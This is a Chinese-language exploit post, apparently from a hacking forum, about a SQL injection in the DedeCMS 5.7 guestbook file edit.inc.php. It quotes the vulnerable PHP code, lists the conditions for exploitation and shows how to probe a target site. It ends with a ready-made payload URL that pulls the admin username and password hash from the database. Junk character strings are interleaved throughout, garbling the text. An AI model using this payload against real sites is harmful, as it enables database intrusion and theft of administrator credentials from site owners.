影响版本为5.7
! r, O" ^0 Y: r' a {9 \5 C
8 w ~ l5 m& q. P& M漏洞文件edit.inc.php具体代码:3 S4 Z( w/ v6 x
( z E& I& ^1 B5 C8 @4 L0 D( ]< ?php
: N7 q8 ~, ^9 Y. N3 {+ h0 B
- J% {7 e. \4 Y2 V0 D Qif(!defined('DEDEINC')) exit('Request Error!'); 1 }6 |* W" f; e* M) o
9 m; }2 w/ {# k; P9 Y
! ?/ B3 u6 a. |0 W3 e7 D5 M$ d# p/ _: b& S) B
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
! p! G2 w7 F: h+ o
% X4 o0 f, _; v9 K& ^$ v! ~else $GUEST_BOOK_POS = "guestbook.php"; 8 ?$ ^( }3 Q- l* b$ S: A
/ T, c# r1 T4 l( I ; Q- Q, K2 `6 }& N7 K1 M
t. Y" [0 ?3 @: y/ J3 Y! ]% U
$id = intval($id); 8 i* R: e" E$ H! f
* }1 `( Y& `* N/ _. K
if(empty($job)) $job='view'; " K v2 ^8 E2 m3 T( m% c# @
/ c0 ?1 h- @# H* m9 e/ c1 J* ^2 E9 H. P
% o9 W( U7 \/ p, ?4 O; z/ w
+ _* {& s% q+ T- M, S# h Z
if($job=='del' && $g_isadmin)
0 l# x& @) b3 p9 l E5 u% q# x) e2 n
{
, @+ L: Q4 G& P. |: q5 F
! @- M& ~: m1 {$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 0 m* r5 z2 Y( o( J3 f5 l! s, j
& `, `; ]1 \/ H' w7 w& k4 h. G4 X( v/ SShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
! x# h* _4 e4 X" t9 D$ `6 t) r& I- T/ q6 [& i; Z4 J/ l
exit();
( c$ j. H0 w, V% [
+ [ r) W& h! s5 ?" P) \}
% ~' Q" e( p, ~3 ^& W$ C M7 s* G+ T6 h1 r# v4 A3 ~0 b
else if($job=='check' && $g_isadmin)
$ l. D: h( X' p6 L
( T% p3 o1 W) L9 ]; ]{ : ^6 j- U9 R; J6 k$ G* ]
7 l1 Q1 Y9 f2 e) ]+ `* I# Q
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
' ~7 p1 J# y3 A, X* i
% r/ A. F4 ^. T. \# W6 CShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); * K# p8 z4 }2 y) f( N
& e! X7 |/ `# @" I4 p' S
exit();
8 r1 O% h E2 i6 G8 R6 x9 Z+ v; b" c
) C' o/ {6 v) ], s9 l1 v, c9 d# x}
Q* {! X% `2 x& r2 e
- u+ A% }. U) f0 X& K. Delse if($job=='editok') # l! _: |& [# I9 H0 R, h7 Z' P
/ D: W6 s" F2 ]) ]4 K% i& r
{ 6 U( o0 I: Q4 E U2 P, D9 [8 _: d
5 l$ R; e/ L0 d' ?+ ]$remsg = trim($remsg);
1 S3 `" r6 H( l7 A. i5 D* `0 T) S6 }+ ~$ q% N
if($remsg!='') , I5 u. d0 M2 p& r* H
8 u( t3 M& v& ?! N{ ( v" o) y$ C. g- n7 H e' w% _
5 K) k, l% y. v" ?4 x' _: c9 ~//管理员回复不过滤HTML By:Errorera blog:errs.cc
3 S: z G$ Z2 ~& e+ M1 M+ ]2 r! X# m
if($g_isadmin)
% g, L6 s. o( u, ?5 p6 q# x5 Z; u& C0 m) [. m0 ~8 x K( J' ^; x# D
{
" [4 L# K7 ^) u9 J, Z+ F& s# l! I. o6 h1 V( q6 B& i& [
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; ) c- d9 t p# C: y' \8 a
9 C$ d, H' R3 X$ u
//$remsg <br /><font color=red>管理员回复:</font> }
$ Z ^8 D4 \/ b( b- i- Y& l. M1 M5 [* _8 ]4 }
else
) H" F$ M& S1 ^ m6 H2 W! m* w- y
" Q9 K6 H+ D6 Z* Q. _1 R{
# L5 h0 [' ?8 j x" C0 }. [6 e u* }4 {( a: @1 v( F) H9 y
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 0 Y; P% V9 f' P& Y& Z
, g, `0 ?# A) f" V1 A, R$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; w' O8 o3 i: B! R
8 }2 V. U9 a- h( _4 r' J
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); / r' G( s6 h% a. X4 P) l( l9 b
* P8 W, q: o9 P' I; \9 \
$msg = $oldmsg.$remsg;
/ D/ G! o/ ^1 s- `% g* V ~/ _! e' f! P" e% r2 Z
}
2 ?7 d; A" n7 s' E# Z
6 ?3 I5 E! I9 B( E} ; e7 h( @5 U: d" w" N0 l: q
9 D$ H) V9 F$ g- S//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc / P& V! [, i) d" |; W$ P3 C- {$ n
) G: r" k* c+ ?6 e' n$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 7 ~7 h6 J; t. G/ h1 _( R9 S }
( o2 i. q8 F8 XShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); : R: R* g/ o T7 x
( v" ]/ {7 v2 e) h# J, }exit(); 1 t9 s& a& H7 x" s0 a
: {7 f! K7 s Y2 G# u* P* }+ S5 ?6 i
}
, Q9 N: X% Q3 V: \. ~1 d2 x# g7 D1 r
//home:www.errs.cc
( M! X7 a( g' Z/ Y( A+ |3 K& l% B/ s7 F$ x0 }6 c S! w
if($g_isadmin)
( H' o. Z3 S: h
7 F% d$ I. ^' h0 V- V' }{
+ ~" A; O% O7 p- q3 ~& g8 y F* F) _8 y9 V) K
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); * k0 Z2 o; a5 K& B
- H& N( G* ^9 m* i# \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ) r8 B* y% V7 s# @1 S6 ]/ D
U+ V5 m8 e& v1 i9 c2 W3 ~} # F+ q* A. }8 k# M1 j* H7 f7 L
, J( A5 w7 ?! r2 R% W0 h- W! Zelse
: g% S& i0 |5 [. u# Z
6 G7 k' P m# W5 b; J9 \{
, \( u8 a1 {4 |! D! i7 L, n
2 r) A5 B1 i; |5 S' T4 r$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ! @1 q0 j2 H( b3 F+ }" [
9 r4 ~ Y3 b: K! z4 E4 qrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
5 V9 z5 ]( q, s0 u% b; w _9 |1 R% e: D' q# M# F" @/ g
} 漏洞成功需要条件:7 t. k! `7 C( A% P0 H
1. php magic_quotes_gpc=off
' ]8 M) H5 v2 L. ~; Q1 M# U2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。2 _9 B% N& y Q6 c2 z* _0 Z
, h9 _9 j2 u @8 ^怎么判断是否存在漏洞:
" z9 f+ F* b0 H# x% m/ E先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
( Q8 i6 U6 o( S: b( p5 x然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
$ A- M) D+ F$ V3 J0 F2 f访问:
& W# n, o* s2 R2 } z3 {, `9 x
5 w* x( x1 f; K: B; Qwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了* O& N& X1 R! b( _/ z2 N
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证" c7 V1 q) Z. W, x
, j9 l. ~) O G& S
5 u0 }3 n* \) J) J$ J1 T" d明漏洞无法利用应为他开启了 php magic_quotes_gpc=off4 V8 I& C- [7 h; V
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
& _1 d( P8 W! Z; s" i. w那么再次访问7 ~2 Y. O$ S. j* A/ N. W
6 C4 R% g& R) q" Y% E4 [www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
4 x _( ~' O4 }1 {+ a3 x
. m/ t7 t( o V: c大概利用就是这样,大家有兴趣的多研究下!!
' a {) X# N9 K- U0 ~, b% h( z
6 {9 @) M' F1 V$ q ]. G最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!# h) Q: y' X' q/ i+ }) Q9 n5 s- a
" h g) F) M9 ~. r! X9 h. k/ i3 q
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |